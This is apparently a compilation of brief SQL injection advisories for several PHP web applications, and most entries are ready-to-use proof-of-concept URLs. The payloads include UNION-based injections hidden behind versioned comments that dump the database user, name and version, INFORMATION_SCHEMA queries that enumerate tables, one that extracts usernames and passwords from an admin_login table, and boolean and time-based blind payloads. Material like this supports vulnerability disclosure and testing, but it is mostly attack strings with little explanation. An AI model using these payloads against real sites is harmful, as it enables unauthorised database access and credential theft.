The vulnerability allows an attacker to inject sql commands.... Proof of Concept: 1) http://localhost/[PATH]/service-list?city=[SQL]&main_search= '+/*!13337UNION*/+/*!13337SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+- http://server/service-list?city='+/*!13337UNION*/+/*!13337SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-&main_search=
The vulnerability allows an attacker to inject sql commands. Proof of Concept: 1) http://localhost/[PATH]/single_detail.php?sid=[SQL] Parameter: sid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: sid=22 AND 4059=4059 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: sid=22 AND SLEEP(5) 2) http://localhost/[PATH]/category.php?searchcat=[SQL] Parameter: searchcat (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: searchcat=s%' AND 4309=4309 AND '%'=' 3) http://localhost/[PATH]/category.php?chid1=[SQL] Parameter: chid1 (GET) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: chid1=46' AND SLEEP(5) AND 'DzvZ'='DzvZ
The vulnerability allows an attacker to inject sql commands into the 'keyword' parameter of the 'advance_result.php' script.
The vulnerability allows an attacker to inject sql commands. Proof of Concept: http://localhost/[PATH]/exams.php?sort=[SQL] -4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+- http://server/exams.php?sort=-4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+- Parameter: sort (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: sort=4 AND 9300=9300 Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: sort=4 UNION ALL SELECT NULL,CONCAT(0x717a6b7071,0x436a5574724b7477565147546d496b47534c4e586c4275794c6359695374477874484b4669767978,0x7176627871),NULL,NULL,NULL,NULL-- Knya
The vulnerability allows an attacker to inject sql commands by sending a maliciously crafted HTTP request to the vulnerable application. An attacker can exploit this vulnerability to gain access to sensitive information stored in the database.
The vulnerability allows an attacker to inject sql commands.... Proof of Concept: http://localhost/[PATH]/list?city=[SQL]&main_search= -1'+/*!11111UNION*/+/*!11111SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53--+-&main_search= http://server/laundry-search/list?city=-1'+/*!11111UNION*/+/*!11111SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53--+-&main_search=
The vulnerability allows an attacker to inject sql commands. Proof of Concept: http://localhost/[PATH]/category.php?searchmain=[SQL]&searchcat=[SQL] http://localhost/[PATH]/single_detail.php?sid=[SQL] 1'++/*!50000UNION*/+/*!50000SELECT*/+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+- http://server/category.php?searchmain=1'++/*!50000UNION*/+/*!50000SELECT*/+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+- Parameter: searchmain (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: searchmain=1' AND 9950=9950 AND 'nOyB'='nOyB&searchcat=a
The vulnerability allows an attacker to inject sql commands.
The vulnerability allows an attacker to inject sql commands. Proof of Concept: http://localhost/[PATH]/quicksearch.php?q=[SQL] -1'++UNION(SELECT(1),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31))--+- -1'++UNION(SELECT(1),(SELECT+GROUP_CONCAT(a_id,0x3a,username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+admin_login),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31))--+- http://server/quicksearch.php?q=-1'++UNION(SELECT(1),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31))--+- Parameter: q (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: q=1%' AND 5971=5971 AND '%'=' Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: q=1%' AND SLEEP(5) AND '%'=' Type: UNION query Title: Generic UNION query (N/A) - 11 columns Payload: q=-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
The vulnerability allows an attacker to inject sql commands. Proof of Concept: 1) http://localhost/[PATH]/categories?subctid=[SQL] -yzEb7895'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+- http://server/categories?subctid=-yzEb7895'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+- 2) http://localhost/[PATH]/categories?&mctid=[SQL] -Y12h7881'++UNION+ALL+SELECT+(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)--+- http://server/categories?&mctid=-Y12h7881'++UNION+ALL+SELECT+(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)--+-
Services By CQR